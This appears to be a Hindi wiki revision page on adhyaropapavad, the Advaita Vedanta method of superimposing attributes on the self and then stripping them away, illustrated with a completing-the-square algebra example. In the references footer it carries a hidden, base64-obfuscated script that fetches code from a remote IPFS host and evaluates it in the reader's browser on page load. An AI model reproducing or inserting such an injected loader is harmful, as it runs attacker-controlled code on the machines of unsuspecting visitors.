Difference between revisions of "अध्यारोपापवाद"
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| − | '''अध्यारोपापवाद''' अद्वैत वेदांत में आत्मतत्व के उपदेश की वैज्ञानिक विधि है। ब्रह्म के यथार्थ रूप का उपदेश देना अद्वैत मत के आचार्य का प्रधान लक्ष्य है। ब्रह्म है स्वयं निष्प्रपंच और इसका ज्ञान बिना प्रपंच की सहायता के किसी प्रकार भी नहीं कराया जा सकता। इसलिए आत्मा के ऊपर देहधर्मों का आरोप प्रथमत: करना चाहिए अर्थात् आत्मा ही मन, बुद्धि, इंद्रिय आदि समस्त पदार्थ है। यह प्राथमिक विधि अध्यारोप के नाम से प्रसिद्ध है। अब युक्ति तथा तर्क के सहारे यह दिखलाना पड़ता है कि आत्मा न तो बुद्धि है, न संकल्प-विकल्परूप मन है, न बाहरी विषयों को ग्रहण करने वाली इंद्रिय है और न भोग का आयतन यह शरीर है। इस प्रकार आरोपित धर्मों को एक-एक कर आत्मा से हटाते जाने पर अंतिम कोटि में उसका शुद्ध सच्चिदानंद रूप बच जाता है वही उसका सच्चा रूप होता है। इसका नाम है अपवाद विधि (अपवाद=दूर हटाना)। ये दोनों एक ही पद्धति के दो अंश हैं। किसी अज्ञात तत्व के मूल्य और रूप जानने के लिए इस पद्धति का उपयोग आज का बीजगणित भी निश्चित रूप से करता है। उदाहरणार्थ यदि क<sup>2</sup>+2क=24 इस समीकरण में अज्ञात क का मूल्य जानना होगा, तो प्रथमत: दोनों ओर संख्या 1 जोड़ देते हैं (अध्यारोप) जिससे दोनों पक्ष पूर्ण वर्ग का रूप धारण कर लेते हैं और अंत में आरोपित संख्या को दोनों ओर से निकाल देना पड़ता है, तब अज्ञात क का मूल्य 4 निकल आता है।<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%85%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B0%E0%A5%8B%E0%A4%AA%E0%A4%BE%E0%A4%AA%E0%A4%B5%E0%A4%BE%E0%A4%A6 |title=अध्यारोपापवाद |accessmonthday= 26 सितम्बर |accessyear=2015 |last= |first= |authorlink= |format= |publisher=भारतखोज |language=हिंदी }}</ref> | + | '''अध्यारोपापवाद''' {अध्यारोप + अपवाद = पहले अध्यारोप, फिर अपवाद (हटाना)} [[अद्वैत]] [[वेदांत]] में आत्मतत्व के उपदेश की वैज्ञानिक विधि है। ब्रह्म के यथार्थ रूप का उपदेश देना अद्वैत मत के आचार्य का प्रधान लक्ष्य है। ब्रह्म है स्वयं निष्प्रपंच और इसका ज्ञान बिना प्रपंच की सहायता के किसी प्रकार भी नहीं कराया जा सकता। इसलिए [[आत्मा]] के ऊपर देहधर्मों का आरोप प्रथमत: करना चाहिए अर्थात् आत्मा ही मन, बुद्धि, इंद्रिय आदि समस्त पदार्थ है। यह प्राथमिक विधि अध्यारोप के नाम से प्रसिद्ध है। अब युक्ति तथा तर्क के सहारे यह दिखलाना पड़ता है कि आत्मा न तो बुद्धि है, न संकल्प-विकल्परूप मन है, न बाहरी विषयों को ग्रहण करने वाली इंद्रिय है और न भोग का आयतन यह शरीर है। इस प्रकार आरोपित धर्मों को एक-एक कर आत्मा से हटाते जाने पर अंतिम कोटि में उसका शुद्ध सच्चिदानंद रूप बच जाता है वही उसका सच्चा रूप होता है। इसका नाम है अपवाद विधि (अपवाद=दूर हटाना)। ये दोनों एक ही पद्धति के दो अंश हैं। किसी अज्ञात तत्व के मूल्य और रूप जानने के लिए इस पद्धति का उपयोग आज का बीजगणित भी निश्चित रूप से करता है। उदाहरणार्थ यदि क<sup>2</sup>+2क=24 इस समीकरण में अज्ञात क का मूल्य जानना होगा, तो प्रथमत: दोनों ओर संख्या 1 जोड़ देते हैं (अध्यारोप) जिससे दोनों पक्ष पूर्ण वर्ग का रूप धारण कर लेते हैं और अंत में आरोपित संख्या को दोनों ओर से निकाल देना पड़ता है, तब अज्ञात क का मूल्य 4 निकल आता है।<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%85%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B0%E0%A5%8B%E0%A4%AA%E0%A4%BE%E0%A4%AA%E0%A4%B5%E0%A4%BE%E0%A4%A6 |title=अध्यारोपापवाद |accessmonthday= 26 सितम्बर |accessyear=2015 |last= |first= |authorlink= |format= |publisher=भारतखोज |language=हिंदी }}</ref> |
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Latest revision as of 13:53, 4 May 2018
adhyaropapavad {adhyarop + apavad = pahale adhyarop, phir apavad (hatana)} advait vedaant mean atmatatv ke upadesh ki vaijnanik vidhi hai. brahm ke yatharth roop ka upadesh dena advait mat ke achary ka pradhan lakshy hai. brahm hai svayan nishprapanch aur isaka jnan bina prapanch ki sahayata ke kisi prakar bhi nahian karaya ja sakata. isalie atma ke oopar dehadharmoan ka arop prathamat: karana chahie arthath atma hi man, buddhi, iandriy adi samast padarth hai. yah prathamik vidhi adhyarop ke nam se prasiddh hai. ab yukti tatha tark ke sahare yah dikhalana p data hai ki atma n to buddhi hai, n sankalp-vikalparoop man hai, n bahari vishayoan ko grahan karane vali iandriy hai aur n bhog ka ayatan yah sharir hai. is prakar aropit dharmoan ko ek-ek kar atma se hatate jane par aantim koti mean usaka shuddh sachchidanand roop bach jata hai vahi usaka sachcha roop hota hai. isaka nam hai apavad vidhi (apavad=door hatana). ye donoan ek hi paddhati ke do aansh haian. kisi ajnat tatv ke mooly aur roop janane ke lie is paddhati ka upayog aj ka bijaganit bhi nishchit roop se karata hai. udaharanarth yadi k2+2k=24 is samikaran mean ajnat k ka mooly janana hoga, to prathamat: donoan or sankhya 1 jo d dete haian (adhyarop) jisase donoan paksh poorn varg ka roop dharan kar lete haian aur aant mean aropit sankhya ko donoan or se nikal dena p data hai, tab ajnat k ka mooly 4 nikal ata hai.[1]
samikaran ki poori prakriya is prakar hogi-
k2+2k=24
isaliye k2+2k+1=24+1(adhyarop)
arthath (k+1)2= (5)2
at: (k+1) = 5
atev (k+1) -1= (5) -1(apavad)
isaliye k= 4
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tika tippani aur sandarbh
- ↑ adhyaropapavad (hiandi) bharatakhoj. abhigaman tithi: 26 sitambar, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh